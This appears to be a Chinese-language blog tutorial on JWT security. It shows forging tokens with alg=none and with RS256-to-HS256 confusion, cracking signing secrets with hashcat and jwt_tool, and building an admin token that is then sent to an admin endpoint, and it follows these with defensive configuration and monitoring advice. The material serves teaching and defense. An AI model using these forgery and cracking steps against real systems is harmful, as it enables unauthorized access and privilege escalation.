JWT安全攻防:从原理到伪造实战剖析

张开发
2026/4/16 12:29:31 15 分钟阅读

分享文章

JWT安全攻防:从原理到伪造实战剖析
1. JWT基础与安全机制解析想象一下你走进一家高档会所前台给你一张特殊磁卡JWT之后所有消费只需刷卡无需反复验证身份。这就是JWT的核心价值——无状态认证。但正如磁卡可能被复制伪造JWT也面临各种安全威胁。传统Session认证就像会所前台的本子记录每个用户登录都要登记。当客人暴增时本子越来越厚服务器内存压力且分店之间无法共享记录扩展性差。而JWT直接把会员卡信息防伪标识交给客户自己保管服务端只需验证防伪标识是否有效。一个标准JWT由三部分组成用点号连接// 实际JWT示例 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ**头部(Header)**相当于产品说明书声明这是JWTtyp和使用的签名算法alg。常见算法有HS256对称加密服务端密钥验证RS256非对称加密用私钥签名公钥验证none危险的空算法**载荷(Payload)**是真正的会员信息包含三类声明标准声明如过期时间(exp)、签发者(iss)公共声明用户ID等业务字段私有声明自定义敏感信息需加密**签名(Signature)**最核心就像银行卡的防伪芯片。其生成逻辑是# 伪代码演示签名过程 signature HMACSHA256( base64(header) . base64(payload), server_secret_key )我曾在一个电商项目审计时发现开发团队把用户手机号直接放在Payload公共声明里。虽然Base64不是加密但很多开发者误以为JWT整体是加密的这会导致严重的信息泄露。2. 四大常见JWT攻击手法实战2.1 算法篡改攻击None算法某次渗透测试中我发现目标系统使用JWT做API鉴权。通过Burp Suite拦截的Token如下eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.7B2Rs4Z7lCDO_RFGWbshNjVK6uYw6Bm7PmvJQnkJNQk尝试将头部修改为{ alg: none, typ: JWT }重组后的Token注意第三部分留空ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJ1c2VyIjoiZ3Vlc3QifQ.漏洞原理JWT规范允许algnone表示不验证签名。如果服务端未严格校验算法类型攻击者可以任意修改Payload内容。防护方案服务端必须校验alg字段禁用none算法支持使用白名单限制允许的算法2.2 非对称算法降级攻击RS256→HS256在某CTF比赛中遇到一个有趣场景系统使用RS256算法非对称加密公钥通过接口可获取服务端存在算法类型混淆漏洞攻击步骤# 1. 获取公钥 curl https://target.com/public.key public.pem # 2. 修改头部算法为HS256 { alg: HS256, typ: JWT } # 3. 用公钥作为HS256的密钥生成新签名关键点HS256要求服务端和客户端共享密钥。当算法被改为HS256时如果服务端仍用RS256的公钥来验证实际上是把公钥当作HS256的密钥使用。2.3 密钥爆破攻击去年审计某金融APP时发现其JWT密钥设置过于简单。使用hashcat进行爆破hashcat -m 16500 jwt.txt rockyou.txt -O常用字典选择策略公司名称/域名组合项目代码中的常量字符串常见弱口令如secret、password我曾用服务器主机名作为密钥爆破成功过因为开发人员图省事直接用了环境变量。2.4 无效签名绕过某些框架的JWT验证逻辑存在缺陷# 错误示例只检查签名是否存在而非有效性 if jwt.split(.)[2]: return 验证通过攻击方法保留原签名直接修改Payload由于签名存在且格式正确可能绕过检查。3. 完整JWT伪造实战从信息收集到权限提升3.1 案例背景假设目标系统存在用户权限控制普通用户adminfalse管理员admintrue获取到的普通用户TokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6ImZhbHNlIn0.oe4qhTxvJB8nNAsFWJc7_m3UylVZzO3FwhkYuESAyUM3.2 攻击步骤分解步骤1解码分析import base64 header base64.b64decode(eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) payload base64.b64decode(eyJhZG1pbiI6ImZhbHNlIn0) print(header) # b{alg:HS256,typ:JWT} print(payload) # b{admin:false}步骤2尝试密钥爆破使用jwt_tool进行自动化测试python3 jwt_tool.py eyJhbG... -C -d wordlist.txt成功爆破出密钥54l7y步骤3构造高权限Token修改payload后生成新Tokenimport jwt new_token jwt.encode( {admin: true}, key54l7y, algorithmHS256 ) print(new_token)步骤4权限验证用新Token访问管理员接口GET /admin/dashboard HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6InRydWUifQ.7fW3NwfQ7J5VFjJQv9X7Z2p6v1lTd0Yb7KxkTpq4X3M3.3 防御方案进阶密钥管理使用强随机密钥至少32字符定期轮换密钥不同服务使用不同密钥Token校验try: decoded jwt.decode( token, keycurrent_key, algorithms[HS256], # 明确指定允许算法 options{verify_exp: True} # 必须校验过期时间 ) except jwt.InvalidTokenError: return Invalid token黑名单机制 即使JWT未过期也可以在Redis中维护已注销Token的黑名单。4. 企业级安全防护方案在某银行项目中我们实施了多层防御网络层强制HTTPS传输设置严格的CORS策略启用HSTS防止SSL剥离应用层// Spring Security配置示例 Configuration public class JwtConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http .addFilterBefore(jwtAuthenticationFilter(), UsernamePasswordAuthenticationFilter.class) .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS); } Bean public JwtAuthenticationFilter jwtAuthenticationFilter() { return new JwtAuthenticationFilter( List.of(HS256), // 允许算法白名单 /api/public/**, // 开放端点 jwtSecretProvider ); } }监控层异常Token请求告警高频爆破行为检测JWT使用基线分析实际测试中发现通过监控Token签发频率可以有效识别爬虫行为。某次攻击中攻击者每秒尝试数百个不同Token触发我们的频率限制规则后被自动封禁。

更多文章